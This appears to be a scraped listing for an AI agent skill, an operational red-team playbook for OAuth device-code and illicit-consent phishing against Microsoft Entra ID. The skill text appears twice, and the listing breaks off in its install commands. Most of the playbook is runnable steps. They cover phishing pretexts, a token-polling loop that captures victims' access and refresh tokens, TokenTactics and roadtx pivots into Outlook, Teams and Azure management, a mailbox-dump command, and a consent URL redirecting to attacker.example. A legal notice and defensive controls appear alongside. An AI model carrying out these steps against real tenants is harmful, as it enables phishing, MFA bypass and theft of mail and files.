[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D6RSMFPAT8JGY6D5P4RNGK":3,"skill-same:01M7D6RSMFPAT8JGY6D5P4RNGK":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":45,"repositoryHtmlUrl":46,"repositoryHomepageUrl":6,"ownerHtmlUrl":47,"ownerBlogUrl":48,"ownerDescription":49,"updatedAt":50,"install":51,"resources":64},"01M7D6RSMFPAT8JGY6D5P4RNGK","attacking-oauth-with-device-code-phishing",null,"Run OAuth 2.0 device-code and illicit-consent phishing attacks against Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized red-team engagements simulating device-code or consent-grant phishing against a tenant you have explicit written permission to test.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fattacking-oauth-with-device-code-phishing\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: attacking-oauth-with-device-code-phishing\ndescription: Run OAuth 2.0 device-code and illicit-consent phishing attacks against\n  Microsoft Entra ID, using TokenTactics-style tooling to steal access and refresh\n  tokens, bypass MFA, and pivot across Microsoft 365 services. Use for authorized\n  red-team engagements simulating device-code or consent-grant phishing against a\n  tenant you have explicit written permission to test.\ndomain: cybersecurity\nsubdomain: identity-access-management\ntags:\n- device-code-phishing\n- oauth\n- entra-id\n- token-theft\n- mfa-bypass\n- illicit-consent\n- tokentactics\n- red-team\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-03\nmitre_attack:\n- T1528\n---\n# Attacking OAuth with Device-Code Phishing\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.\n\n## Overview\n\nThe OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short `user_code` and a `device_code`, displays the `user_code` and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the \"device\" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (`https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin`) and enter the attacker-generated `user_code`. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK **T1528 – Steal Application Access Token**).\n\nMicrosoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the **illicit consent grant** (\"OAuth phishing\"): the attacker registers a multi-tenant app and tricks the victim into clicking an `\u002Fadminconsent` or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation\u002Faccess mapping with ROADtools.\n\nThe defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 60–90 minutes, but the accompanying refresh token (with `offline_access` scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.\n\n## When to Use\n\n- During an authorized red-team or assumed-breach engagement targeting Microsoft 365 \u002F Entra ID where social-engineering is in scope\n- When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques\n- When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent\n- When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls\n- When building detections (paired with the blue-team `hunting-saas-sso-token-abuse` skill) and you need realistic telemetry\n\n## Prerequisites\n\n- Written authorization \u002F rules of engagement explicitly permitting phishing and token theft against the target tenant\n- A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)\n- Linux or Windows attacker host with Python 3.8+ and PowerShell 7+\n- TokenTactics (PowerShell) and ROADtools (Python) installed:\n  ```bash\n  # ROADtools (roadrecon + roadtx) — Dirk-jan Mollema \u002F Outsider Security\n  pip install roadtools roadtools_auth\n  # roadtx (ROADtools Token eXchange) ships in roadtools_auth\n  roadtx --help\n\n  # TokenTactics v2 (rvrsh3ll)\n  git clone https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics.git\n  pwsh -c \"Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\"\n  ```\n- Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes\n\n## Objectives\n\n- Initiate an OAuth device-code request against Entra ID using a first-party client ID\n- Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page\n- Poll the token endpoint and capture the victim's access and refresh tokens\n- Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access\n- Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app\n- Enumerate accessible resources and data with ROADtools to demonstrate impact\n- Document MFA bypass and produce remediation recommendations\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1528 | Steal Application Access Token | Phishing the device-code flow \u002F consent grant yields attacker-controlled OAuth access and refresh tokens that are reused to access cloud services without re-authenticating |\n\nRelated techniques frequently chained: **T1566** Phishing (delivery), **T1550.001** Application Access Token (replaying stolen tokens), **T1098.003** Account Manipulation: Additional Cloud Roles (consent grant persistence).\n\n## Workflow\n\n### Phase 1: Initiate the Device-Code Request\n\nThe attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID `d3590ed6-52b3-4102-aeff-aad2292ab01c` is commonly used because it is pre-authorized for broad first-party resources.\n\n1. Request a device code directly via the token endpoint:\n   ```bash\n   # client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token\n   curl -s -X POST \\\n     'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Fdevicecode' \\\n     -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n     -d 'scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access' | tee devicecode.json\n   ```\n2. The JSON response contains the fields you weaponize:\n   ```json\n   {\n     \"user_code\": \"B7HVQXKZ2\",\n     \"device_code\": \"GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...\",\n     \"verification_uri\": \"https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin\",\n     \"expires_in\": 900,\n     \"interval\": 5,\n     \"message\": \"To sign in, use a web browser to open the page https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin and enter the code B7HVQXKZ2 to authenticate.\"\n   }\n   ```\n3. Note the 15-minute (`expires_in: 900`) validity window — the pretext must drive the victim to authenticate quickly.\n\n   Equivalent using TokenTactics (handles polling automatically):\n   ```powershell\n   Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\n   # Generates a device code and begins polling; prints the user_code to phish\n   Get-AzureToken -Client MSGraph\n   ```\n\n### Phase 2: Deliver the Pretext\n\nThe phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.\n\n1. Craft a pretext that references the genuine `https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin` URL and the `user_code` (e.g., \"IT is enrolling your account in the new Teams Rooms device; open microsoft.com\u002Fdevicelogin and enter code B7HVQXKZ2 within 15 minutes\").\n2. Send through sanctioned phishing infrastructure. Hyperlinked codes\u002FURLs frequently land in spam, so present the URL and code as plain text.\n3. Time delivery to the start of a polling cycle so the code is fresh.\n\n### Phase 3: Poll and Capture Tokens\n\nWhile the victim authenticates and approves, poll the token endpoint with the `device_code` until tokens are issued.\n\n1. Poll at the server-specified `interval` (5 seconds); `authorization_pending` is expected until the victim completes sign-in:\n   ```bash\n   DEVICE_CODE=$(python -c \"import json;print(json.load(open('devicecode.json'))['device_code'])\")\n   while true; do\n     RESP=$(curl -s -X POST \\\n       'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n       -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \\\n       -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n       -d \"device_code=${DEVICE_CODE}\")\n     echo \"$RESP\" | grep -q access_token && { echo \"$RESP\" > tokens.json; break; }\n     echo \"$RESP\" | grep -q authorization_pending || echo \"$RESP\"\n     sleep 5\n   done\n   ```\n2. On success the response yields `access_token`, `refresh_token`, `id_token`, `expires_in`, and the granted `scope`.\n3. Decode the access token to confirm the captured identity, audience, and scopes:\n   ```bash\n   python -c \"import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))\"\n   ```\n\n### Phase 4: Refresh Across Microsoft 365 Resources\n\nThe refresh token (with `offline_access`) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.\n\n1. Use TokenTactics refresh functions to pivot the refresh token to specific services:\n   ```powershell\n   # $response holds the device-code result from Get-AzureToken\n   $rt = $response.refresh_token\n   Invoke-RefreshToOutlookToken          -domain target.com -refreshToken $rt   # mailbox access\n   Invoke-RefreshToMSGraphToken          -domain target.com -refreshToken $rt   # Graph\n   Invoke-RefreshToMSTeamsToken          -domain target.com -refreshToken $rt   # Teams\n   Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM\n   Invoke-RefreshToSubstrateToken        -domain target.com -refreshToken $rt\n   ```\n2. Equivalently with roadtx, redeem the refresh token for a new resource:\n   ```bash\n   roadtx refreshtokento \\\n     -r \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c \\\n     -s https:\u002F\u002Fgraph.microsoft.com\u002F.default\n   ```\n3. Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):\n   ```powershell\n   Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox\n   ```\n\n### Phase 5: Illicit Consent Grant Variant\n\nInstead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.\n\n1. Register a multi-tenant app in an attacker tenant requesting delegated scopes such as `Mail.Read`, `Files.ReadWrite.All`, `offline_access`.\n2. Build a user-consent URL and phish it:\n   ```text\n   https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?\n     client_id=\u003CATTACKER_APP_ID>\n     &response_type=code\n     &redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback\n     &response_mode=query\n     &scope=offline_access%20Mail.Read%20Files.ReadWrite.All\n     &state=12345\n   ```\n3. When the victim consents, exchange the returned `code` for tokens:\n   ```bash\n   curl -s -X POST 'https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n     -d 'client_id=\u003CATTACKER_APP_ID>' \\\n     -d 'grant_type=authorization_code' \\\n     -d 'code=\u003CAUTH_CODE>' \\\n     -d 'redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback' \\\n     -d 'client_secret=\u003CAPP_SECRET>' \\\n     -d 'scope=offline_access Mail.Read Files.ReadWrite.All'\n   ```\n4. The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (`Remove-MgServicePrincipalOauth2PermissionGrant`).\n\n### Phase 6: Enumerate Impact with ROADtools\n\n1. Authenticate roadrecon with the captured token \u002F refresh token and dump the directory:\n   ```bash\n   roadrecon auth --refresh-token \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c\n   roadrecon gather\n   roadrecon gui   # browse users, groups, app registrations, role assignments\n   ```\n2. Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.\n3. Record exactly what data and roles the stolen tokens reached for the engagement report.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| TokenTactics v2 | Generate device codes and refresh tokens across M365 services | https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics |\n| ROADtools (roadrecon \u002F roadtx) | Token exchange, directory enumeration, access mapping | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n| AADInternals | Entra ID attack\u002Frecon PowerShell toolkit | https:\u002F\u002Fgithub.com\u002FGerenios\u002FAADInternals |\n| RFC 8628 | OAuth 2.0 Device Authorization Grant specification | https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8628 |\n| Microsoft \u002F Storm-2372 advisory | Device-code phishing campaign analysis | https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F |\n| Mandiant M-Trends | OAuth token theft trend reporting | https:\u002F\u002Fcloud.google.com\u002Fsecurity\u002Fresources\u002Fm-trends |\n\n## Defensive Recommendations\n\n| Control | Effect |\n|---------|--------|\n| Conditional Access policy blocking the device-code flow (`authenticationFlows`) for users who do not need it | Removes the attack surface for most users |\n| Phishing-resistant MFA (FIDO2 \u002F passkeys) + token protection (token binding) | Bound tokens cannot be replayed off the victim device |\n| Restrict user consent to verified publishers \u002F require admin consent | Blocks illicit-consent grants |\n| Sign-in frequency + shorter session lifetimes on untrusted networks | Limits refresh-token longevity |\n| Monitor `AADNonInteractiveUserSignInLogs` for device-code grants and anomalous token use | Detection (see `hunting-saas-sso-token-abuse`) |\n\n## Validation Criteria\n\n- [ ] Device-code request returned a valid `user_code` and `device_code`\n- [ ] Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)\n- [ ] Token endpoint polled and `access_token` + `refresh_token` captured\n- [ ] Access token decoded to confirm captured identity, audience, and scopes\n- [ ] Refresh token successfully exchanged for at least one additional M365 resource\n- [ ] MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)\n- [ ] Illicit-consent variant tested or documented as out of scope\n- [ ] Accessible resources enumerated with ROADtools and recorded\n- [ ] Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered\n","# Attacking OAuth with Device-Code Phishing\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.\n\n## Overview\n\nThe OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short `user_code` and a `device_code`, displays the `user_code` and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the \"device\" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (`https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin`) and enter the attacker-generated `user_code`. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK **T1528 – Steal Application Access Token**).\n\nMicrosoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the **illicit consent grant** (\"OAuth phishing\"): the attacker registers a multi-tenant app and tricks the victim into clicking an `\u002Fadminconsent` or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation\u002Faccess mapping with ROADtools.\n\nThe defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 60–90 minutes, but the accompanying refresh token (with `offline_access` scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.\n\n## When to Use\n\n- During an authorized red-team or assumed-breach engagement targeting Microsoft 365 \u002F Entra ID where social-engineering is in scope\n- When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques\n- When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent\n- When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls\n- When building detections (paired with the blue-team `hunting-saas-sso-token-abuse` skill) and you need realistic telemetry\n\n## Prerequisites\n\n- Written authorization \u002F rules of engagement explicitly permitting phishing and token theft against the target tenant\n- A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)\n- Linux or Windows attacker host with Python 3.8+ and PowerShell 7+\n- TokenTactics (PowerShell) and ROADtools (Python) installed:\n  ```bash\n  # ROADtools (roadrecon + roadtx) — Dirk-jan Mollema \u002F Outsider Security\n  pip install roadtools roadtools_auth\n  # roadtx (ROADtools Token eXchange) ships in roadtools_auth\n  roadtx --help\n\n  # TokenTactics v2 (rvrsh3ll)\n  git clone https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics.git\n  pwsh -c \"Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\"\n  ```\n- Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes\n\n## Objectives\n\n- Initiate an OAuth device-code request against Entra ID using a first-party client ID\n- Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page\n- Poll the token endpoint and capture the victim's access and refresh tokens\n- Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access\n- Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app\n- Enumerate accessible resources and data with ROADtools to demonstrate impact\n- Document MFA bypass and produce remediation recommendations\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1528 | Steal Application Access Token | Phishing the device-code flow \u002F consent grant yields attacker-controlled OAuth access and refresh tokens that are reused to access cloud services without re-authenticating |\n\nRelated techniques frequently chained: **T1566** Phishing (delivery), **T1550.001** Application Access Token (replaying stolen tokens), **T1098.003** Account Manipulation: Additional Cloud Roles (consent grant persistence).\n\n## Workflow\n\n### Phase 1: Initiate the Device-Code Request\n\nThe attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID `d3590ed6-52b3-4102-aeff-aad2292ab01c` is commonly used because it is pre-authorized for broad first-party resources.\n\n1. Request a device code directly via the token endpoint:\n   ```bash\n   # client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token\n   curl -s -X POST \\\n     'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Fdevicecode' \\\n     -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n     -d 'scope=https:\u002F\u002Fgraph.microsoft.com\u002F.default offline_access' | tee devicecode.json\n   ```\n2. The JSON response contains the fields you weaponize:\n   ```json\n   {\n     \"user_code\": \"B7HVQXKZ2\",\n     \"device_code\": \"GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...\",\n     \"verification_uri\": \"https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin\",\n     \"expires_in\": 900,\n     \"interval\": 5,\n     \"message\": \"To sign in, use a web browser to open the page https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin and enter the code B7HVQXKZ2 to authenticate.\"\n   }\n   ```\n3. Note the 15-minute (`expires_in: 900`) validity window — the pretext must drive the victim to authenticate quickly.\n\n   Equivalent using TokenTactics (handles polling automatically):\n   ```powershell\n   Import-Module .\u002FTokenTactics\u002FTokenTactics.psd1\n   # Generates a device code and begins polling; prints the user_code to phish\n   Get-AzureToken -Client MSGraph\n   ```\n\n### Phase 2: Deliver the Pretext\n\nThe phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.\n\n1. Craft a pretext that references the genuine `https:\u002F\u002Fmicrosoft.com\u002Fdevicelogin` URL and the `user_code` (e.g., \"IT is enrolling your account in the new Teams Rooms device; open microsoft.com\u002Fdevicelogin and enter code B7HVQXKZ2 within 15 minutes\").\n2. Send through sanctioned phishing infrastructure. Hyperlinked codes\u002FURLs frequently land in spam, so present the URL and code as plain text.\n3. Time delivery to the start of a polling cycle so the code is fresh.\n\n### Phase 3: Poll and Capture Tokens\n\nWhile the victim authenticates and approves, poll the token endpoint with the `device_code` until tokens are issued.\n\n1. Poll at the server-specified `interval` (5 seconds); `authorization_pending` is expected until the victim completes sign-in:\n   ```bash\n   DEVICE_CODE=$(python -c \"import json;print(json.load(open('devicecode.json'))['device_code'])\")\n   while true; do\n     RESP=$(curl -s -X POST \\\n       'https:\u002F\u002Flogin.microsoftonline.com\u002Forganizations\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n       -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \\\n       -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \\\n       -d \"device_code=${DEVICE_CODE}\")\n     echo \"$RESP\" | grep -q access_token && { echo \"$RESP\" > tokens.json; break; }\n     echo \"$RESP\" | grep -q authorization_pending || echo \"$RESP\"\n     sleep 5\n   done\n   ```\n2. On success the response yields `access_token`, `refresh_token`, `id_token`, `expires_in`, and the granted `scope`.\n3. Decode the access token to confirm the captured identity, audience, and scopes:\n   ```bash\n   python -c \"import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))\"\n   ```\n\n### Phase 4: Refresh Across Microsoft 365 Resources\n\nThe refresh token (with `offline_access`) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.\n\n1. Use TokenTactics refresh functions to pivot the refresh token to specific services:\n   ```powershell\n   # $response holds the device-code result from Get-AzureToken\n   $rt = $response.refresh_token\n   Invoke-RefreshToOutlookToken          -domain target.com -refreshToken $rt   # mailbox access\n   Invoke-RefreshToMSGraphToken          -domain target.com -refreshToken $rt   # Graph\n   Invoke-RefreshToMSTeamsToken          -domain target.com -refreshToken $rt   # Teams\n   Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM\n   Invoke-RefreshToSubstrateToken        -domain target.com -refreshToken $rt\n   ```\n2. Equivalently with roadtx, redeem the refresh token for a new resource:\n   ```bash\n   roadtx refreshtokento \\\n     -r \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c \\\n     -s https:\u002F\u002Fgraph.microsoft.com\u002F.default\n   ```\n3. Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):\n   ```powershell\n   Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox\n   ```\n\n### Phase 5: Illicit Consent Grant Variant\n\nInstead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.\n\n1. Register a multi-tenant app in an attacker tenant requesting delegated scopes such as `Mail.Read`, `Files.ReadWrite.All`, `offline_access`.\n2. Build a user-consent URL and phish it:\n   ```text\n   https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Fauthorize?\n     client_id=\u003CATTACKER_APP_ID>\n     &response_type=code\n     &redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback\n     &response_mode=query\n     &scope=offline_access%20Mail.Read%20Files.ReadWrite.All\n     &state=12345\n   ```\n3. When the victim consents, exchange the returned `code` for tokens:\n   ```bash\n   curl -s -X POST 'https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken' \\\n     -d 'client_id=\u003CATTACKER_APP_ID>' \\\n     -d 'grant_type=authorization_code' \\\n     -d 'code=\u003CAUTH_CODE>' \\\n     -d 'redirect_uri=https:\u002F\u002Fattacker.example\u002Fcallback' \\\n     -d 'client_secret=\u003CAPP_SECRET>' \\\n     -d 'scope=offline_access Mail.Read Files.ReadWrite.All'\n   ```\n4. The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (`Remove-MgServicePrincipalOauth2PermissionGrant`).\n\n### Phase 6: Enumerate Impact with ROADtools\n\n1. Authenticate roadrecon with the captured token \u002F refresh token and dump the directory:\n   ```bash\n   roadrecon auth --refresh-token \"$(python -c \"import json;print(json.load(open('tokens.json'))['refresh_token'])\")\" \\\n     -c d3590ed6-52b3-4102-aeff-aad2292ab01c\n   roadrecon gather\n   roadrecon gui   # browse users, groups, app registrations, role assignments\n   ```\n2. Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.\n3. Record exactly what data and roles the stolen tokens reached for the engagement report.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| TokenTactics v2 | Generate device codes and refresh tokens across M365 services | https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FTokenTactics |\n| ROADtools (roadrecon \u002F roadtx) | Token exchange, directory enumeration, access mapping | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n| AADInternals | Entra ID attack\u002Frecon PowerShell toolkit | https:\u002F\u002Fgithub.com\u002FGerenios\u002FAADInternals |\n| RFC 8628 | OAuth 2.0 Device Authorization Grant specification | https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8628 |\n| Microsoft \u002F Storm-2372 advisory | Device-code phishing campaign analysis | https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F |\n| Mandiant M-Trends | OAuth token theft trend reporting | https:\u002F\u002Fcloud.google.com\u002Fsecurity\u002Fresources\u002Fm-trends |\n\n## Defensive Recommendations\n\n| Control | Effect |\n|---------|--------|\n| Conditional Access policy blocking the device-code flow (`authenticationFlows`) for users who do not need it | Removes the attack surface for most users |\n| Phishing-resistant MFA (FIDO2 \u002F passkeys) + token protection (token binding) | Bound tokens cannot be replayed off the victim device |\n| Restrict user consent to verified publishers \u002F require admin consent | Blocks illicit-consent grants |\n| Sign-in frequency + shorter session lifetimes on untrusted networks | Limits refresh-token longevity |\n| Monitor `AADNonInteractiveUserSignInLogs` for device-code grants and anomalous token use | Detection (see `hunting-saas-sso-token-abuse`) |\n\n## Validation Criteria\n\n- [ ] Device-code request returned a valid `user_code` and `device_code`\n- [ ] Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)\n- [ ] Token endpoint polled and `access_token` + `refresh_token` captured\n- [ ] Access token decoded to confirm captured identity, audience, and scopes\n- [ ] Refresh token successfully exchanged for at least one additional M365 resource\n- [ ] MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)\n- [ ] Illicit-consent variant tested or documented as out of scope\n- [ ] Accessible resources enumerated with ROADtools and recorded\n- [ ] Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"device-code-phishing","oauth","entra-id","token-theft","mfa-bypass","illicit-consent","tokentactics","red-team","mahipal","cybersecurity","1.0",[38],"PR.AA-03","identity-access-management",[41],"T1528","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fattacking-oauth-with-device-code-phishing",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill attacking-oauth-with-device-code-phishing",{"tool":57,"command":58},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill attacking-oauth-with-device-code-phishing",{"tool":60,"command":61},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill 